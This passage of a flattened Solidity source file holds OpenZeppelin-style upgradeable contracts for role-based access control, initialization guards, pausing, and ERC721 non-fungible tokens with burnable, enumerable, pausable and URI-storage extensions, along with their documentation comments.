* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable {
function __AccessControl_init() internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__AccessControl_init_unchained();
}
function __AccessControl_init_unchained() internal initializer {
}
struct RoleData {
mapping (address => bool) members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlUpgradeable).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override {
require(hasRole(getRoleAdmin(role), _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override {
require(hasRole(getRoleAdmin(role), _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, getRoleAdmin(role), adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
// solhint-disable-next-line compiler-version
pragma solidity ^0.8.0;
import "../../utils/AddressUpgradeable.sol";
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract PausableUpgradeable is Initializable, ContextUpgradeable {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
function __Pausable_init() internal initializer {
__Context_init_unchained();
__Pausable_init_unchained();
}
function __Pausable_init_unchained() internal initializer {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721Upgradeable.sol";
import "./IERC721ReceiverUpgradeable.sol";
import "./extensions/IERC721MetadataUpgradeable.sol";
import "./extensions/IERC721EnumerableUpgradeable.sol";
import "../../utils/AddressUpgradeable.sol";
import "../../utils/ContextUpgradeable.sol";
import "../../utils/StringsUpgradeable.sol";
import "../../utils/introspection/ERC165Upgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable {
using AddressUpgradeable for address;
using StringsUpgradeable for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping (uint256 => address) private _owners;
// Mapping owner address to token count
mapping (address => uint256) private _balances;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
function __ERC721_init(string memory name_, string memory symbol_) internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__ERC721_init_unchained(name_, symbol_);
}
function __ERC721_init_unchained(string memory name_, string memory symbol_) internal initializer {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) {
return interfaceId == type(IERC721Upgradeable).interfaceId
|| interfaceId == type(IERC721MetadataUpgradeable).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: '';
}
/**
* @dev Base URI for computing {tokenURI}. Empty by default, can be overriden
* in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721Upgradeable.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || ERC721Upgradeable.isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721Upgradeable.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || ERC721Upgradeable.isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721Upgradeable.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721Upgradeable.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (to.isContract()) {
try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721ReceiverUpgradeable(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
// solhint-disable-next-line no-inline-assembly
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
uint256[44] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721ReceiverUpgradeable {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165Upgradeable.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721Upgradeable is IERC165Upgradeable {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC721Upgradeable.sol";
import "../../../utils/ContextUpgradeable.sol";
import "../../../proxy/utils/Initializable.sol";
/**
* @title ERC721 Burnable Token
* @dev ERC721 Token that can be irreversibly burned (destroyed).
*/
abstract contract ERC721BurnableUpgradeable is Initializable, ContextUpgradeable, ERC721Upgradeable {
function __ERC721Burnable_init() internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__ERC721Burnable_init_unchained();
}
function __ERC721Burnable_init_unchained() internal initializer {
}
/**
* @dev Burns `tokenId`. See {ERC721-_burn}.
*
* Requirements:
*
* - The caller must own `tokenId` or be an approved operator.
*/
function burn(uint256 tokenId) public virtual {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved");
_burn(tokenId);
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC721Upgradeable.sol";
import "./IERC721EnumerableUpgradeable.sol";
import "../../../proxy/utils/Initializable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721EnumerableUpgradeable is Initializable, ERC721Upgradeable, IERC721EnumerableUpgradeable {
function __ERC721Enumerable_init() internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__ERC721Enumerable_init_unchained();
}
function __ERC721Enumerable_init_unchained() internal initializer {
}
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165Upgradeable, ERC721Upgradeable) returns (bool) {
return interfaceId == type(IERC721EnumerableUpgradeable).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Upgradeable.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721EnumerableUpgradeable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721Upgradeable.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721Upgradeable.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
uint256[46] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC721Upgradeable.sol";
import "../../../security/PausableUpgradeable.sol";
import "../../../proxy/utils/Initializable.sol";
/**
* @dev ERC721 token with pausable token transfers, minting and burning.
*
* Useful for scenarios such as preventing trades until the end of an evaluation
* period, or having an emergency switch for freezing all token transfers in the
* event of a large bug.
*/
abstract contract ERC721PausableUpgradeable is Initializable, ERC721Upgradeable, PausableUpgradeable {
function __ERC721Pausable_init() internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__Pausable_init_unchained();
__ERC721Pausable_init_unchained();
}
function __ERC721Pausable_init_unchained() internal initializer {
}
/**
* @dev See {ERC721-_beforeTokenTransfer}.
*
* Requirements:
*
* - the contract must not be paused.
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
require(!paused(), "ERC721Pausable: token transfer while paused");
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC721Upgradeable.sol";
import "../../../proxy/utils/Initializable.sol";
/**
* @dev ERC721 token with storage based token URI management.
*/
abstract contract ERC721URIStorageUpgradeable is Initializable, ERC721Upgradeable {
function __ERC721URIStorage_init() internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__ERC721URIStorage_init_unchained();
}
function __ERC721URIStorage_init_unchained() internal initializer {
}
using StringsUpgradeable for uint256;
// Optional mapping for token URIs
mapping (uint256 => string) private _tokenURIs;
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = _baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
return super.tokenURI(tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Destroys `tokenId`.
